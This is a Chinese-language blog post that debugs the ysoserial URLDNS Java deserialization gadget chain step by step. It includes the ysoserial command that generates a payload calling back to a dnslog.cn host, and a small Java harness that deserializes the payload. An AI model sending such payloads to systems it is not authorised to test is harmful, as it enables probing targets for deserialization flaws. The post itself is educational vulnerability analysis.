ysoserial-URLDNS利用链 调试分析

前期准备

在这里插入图片描述

先下载工具ysoserial.jar 当然你也可以去github下载 然后自己打包

先用工具生成一个urldns链

1
2
java  -jar ysoserial-master-d367e379d9-1.jar URLDNS http://89c7vr.dnslog.cn > ou.bin
# 这里的url 换成你自己生成的

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
package com.demo;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class test {
public static void main(String[] args) throws Exception {
//读取目标
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./ou.bin"));
//反序列化
ois.readObject();
}
}

再提一下 ,我们可以在idea导入这个jar包帮助我们分析

在这里插入图片描述

开始调试

根据urldns链,我们先去 Hashmap.readObject()看看

CTRL +shift+ f 搜索 hashmap 然后搜索 readObject 这个方法

直接在putVal下断点 然后运行 test.java 开始debug

可以看到putVal一行有两个方法,我们根据链跟进hash方法(先F7跟进 再点击hash方法)

在这里插入图片描述

再继续F7 跟进hashCode方法

在这里插入图片描述

在这里插入图片描述

F8 后 ctrl+左键 发现这个handler是 URLStreamHandler的对象

在这里插入图片描述

那么再跟进这个 hashCode方法

在这里插入图片描述

发现了getHostAddress方法

F7跟进getHostAddress 后 ,F8找到下图的getByName 函数 就会去进行一个 dns 查询,就可以发现dnslog 回显了

image-20210718104228435

成功回显

在这里插入图片描述

总结

  1. 总的来说,利用原理就是,当 hashmap 的key 在 put 以及 get 的时候,会计算key 的 hash ,而如果这个key 是 url 类型的时候,都会调用 java.net.URL#hashCode 方法来计算,在hashCode() 方法中,如果hashCode 不为-1 ,就会调用 java.net.URLStreamHandler#hashCode 方法,而这个方法里面就正好会进行 dns 查询。
  2. URLDNS 这个利用链主要用来检测是否存在反序列化漏洞,有如下两个优点:
    i. 使用java 内部的类进行构造,不依赖第三方库
    ii. 如果目标可以出网,在目标没有回显的时候,可以用来验证是否存在反序列化漏洞。
    
  3. 另外,还有一些生成payload 的细节,可以看 ysoserial 生成URLDNS 的源码,比如:
    i .在用 SilentURLStreamHandler 继承URLStreamHandler,重写了里面的getHostAddress() 方法来避免在生成payload 的时候进行 dns 查询。
    ii. 将 url put 到hashmap 中之后,重新设置hashCode 为 -1 ,这样在反序列化的时候就会再重新计算hashCode

参考:

https://blog.csdn.net/qq_41891666/article/details/108018627?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-1.pc_relevant_baidujshouduan&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-1.pc_relevant_baidujshouduan

https://blog.csdn.net/qq_43645782/article/details/118516559

https://www.bilibili.com/video/BV1SX4y1w7tv

https://www.anquanke.com/post/id/201762?from=timeline#h3-9

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~